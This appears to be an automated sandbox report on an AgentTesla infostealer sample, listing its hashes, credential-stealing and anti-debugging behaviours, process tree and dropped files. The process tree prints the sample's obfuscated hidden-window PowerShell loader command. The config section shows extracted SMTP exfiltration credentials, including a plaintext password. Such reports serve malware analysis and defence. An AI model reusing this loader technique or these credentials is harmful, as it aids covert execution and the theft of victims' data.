Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-06-2024 14:41

General

  • Target

    Package status.exe

  • Size

    810KB

  • MD5

    f7f038db9cf8b30eedadbd0e1bd06475

  • SHA1

    183a7e4912252c912340580478a756449d420c18

  • SHA256

    1c4bde8818c2caac1ea5d08697561d52e4f977a31f648ef55fe54f13efe572e1

  • SHA512

    43ce6cce5d06b7317b524689610b9154ffb2d7b16a55328321b19eb4baba9fb793f46e6d4e2ca582cfa5c5b7d7627e59cbd1860169efa31f4eadae3155322d1e

  • SSDEEP

    12288:NX8AAopS5s7Prs1K9qjmF7UC5xkd56/iS3xwWaoSOs9BOvLcajeUoZe3xn7dhLO3:18N56/iS3Dao55LTue3xn7d3sCDPa7l

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.gmail.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    vjru ncjq zilj zxwk

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Package status.exe
    "C:\Users\Admin\AppData\Local\Temp\Package status.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3660
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$corabecan=Get-Content 'C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Antesunrise.Ski';$kitningers=$corabecan.SubString(12628,3);.$kitningers($corabecan)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:844
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
        3⤵
          PID:2044
        • C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe
          "C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe"
          3⤵
          • Loads dropped DLL
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4400
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3868 --field-trial-handle=2292,i,2103142837140538807,15881446839139365070,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:3016

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe

        Filesize

        810KB

        MD5

        f7f038db9cf8b30eedadbd0e1bd06475

        SHA1

        183a7e4912252c912340580478a756449d420c18

        SHA256

        1c4bde8818c2caac1ea5d08697561d52e4f977a31f648ef55fe54f13efe572e1

        SHA512

        43ce6cce5d06b7317b524689610b9154ffb2d7b16a55328321b19eb4baba9fb793f46e6d4e2ca582cfa5c5b7d7627e59cbd1860169efa31f4eadae3155322d1e

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vhzn5q5e.t4s.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Antesunrise.Ski

        Filesize

        69KB

        MD5

        95c71503bc640705b0973b75d1249e2b

        SHA1

        44a3114402114ed571c9920eebf2a2c938c7e9c3

        SHA256

        9c8314a2876644dff91652aefd829835e8700d7cd00d4a2f24173c29f9532dae

        SHA512

        4512060a616f79bfaa62c3837a2ae68f798f1bb54d63e037b432b79a720fba3fb0c9b48409f22473ff63a7a21a37eb6e119f9eaa05521d40b7bfb771b66e4808

      • C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Cerebrogalactose140.Mae

        Filesize

        314KB

        MD5

        21282b210d55b15aa4083674e5b769eb

        SHA1

        425367906b18c625a6d6182c42ed67ece27b5262

        SHA256

        410339e0545e9ee17cf941a8f41b371917495b0811b0b4796c259710a83671c2

        SHA512

        c6dae5cb93db9ec7b7f125c38e0a95887c9a3e9344d7da046162f08184e9bedae80fe18c6aea2dd98c36b6cd27726d189d341426fbda0ce3f05c58a09cd7e67e

      • memory/844-34-0x0000000008380000-0x00000000089FA000-memory.dmp

        Filesize

        6.5MB

      • memory/844-38-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-14-0x0000000004FD0000-0x0000000005036000-memory.dmp

        Filesize

        408KB

      • memory/844-15-0x0000000005840000-0x00000000058A6000-memory.dmp

        Filesize

        408KB

      • memory/844-12-0x00000000050A0000-0x00000000056C8000-memory.dmp

        Filesize

        6.2MB

      • memory/844-21-0x0000000005930000-0x0000000005C84000-memory.dmp

        Filesize

        3.3MB

      • memory/844-26-0x0000000005F00000-0x0000000005F1E000-memory.dmp

        Filesize

        120KB

      • memory/844-27-0x0000000006000000-0x000000000604C000-memory.dmp

        Filesize

        304KB

      • memory/844-28-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-29-0x0000000006430000-0x00000000064C6000-memory.dmp

        Filesize

        600KB

      • memory/844-30-0x00000000063E0000-0x00000000063FA000-memory.dmp

        Filesize

        104KB

      • memory/844-31-0x00000000064D0000-0x00000000064F2000-memory.dmp

        Filesize

        136KB

      • memory/844-32-0x0000000007750000-0x0000000007CF4000-memory.dmp

        Filesize

        5.6MB

      • memory/844-11-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-8-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

        Filesize

        4KB

      • memory/844-35-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

        Filesize

        4KB

      • memory/844-37-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-13-0x0000000004F30000-0x0000000004F52000-memory.dmp

        Filesize

        136KB

      • memory/844-10-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-40-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-42-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-43-0x0000000008A00000-0x000000000C730000-memory.dmp

        Filesize

        61.2MB

      • memory/844-44-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-45-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-47-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/844-9-0x0000000004900000-0x0000000004936000-memory.dmp

        Filesize

        216KB

      • memory/844-50-0x0000000073D60000-0x0000000074510000-memory.dmp

        Filesize

        7.7MB

      • memory/4400-51-0x0000000000490000-0x00000000016E4000-memory.dmp

        Filesize

        18.3MB

      • memory/4400-52-0x0000000000490000-0x00000000004D4000-memory.dmp

        Filesize

        272KB

      • memory/4400-54-0x0000000024780000-0x00000000247D0000-memory.dmp

        Filesize

        320KB

      • memory/4400-55-0x00000000247D0000-0x000000002486C000-memory.dmp

        Filesize

        624KB

      • memory/4400-56-0x0000000024C60000-0x0000000024CF2000-memory.dmp

        Filesize

        584KB

      • memory/4400-57-0x0000000024D50000-0x0000000024D5A000-memory.dmp

        Filesize

        40KB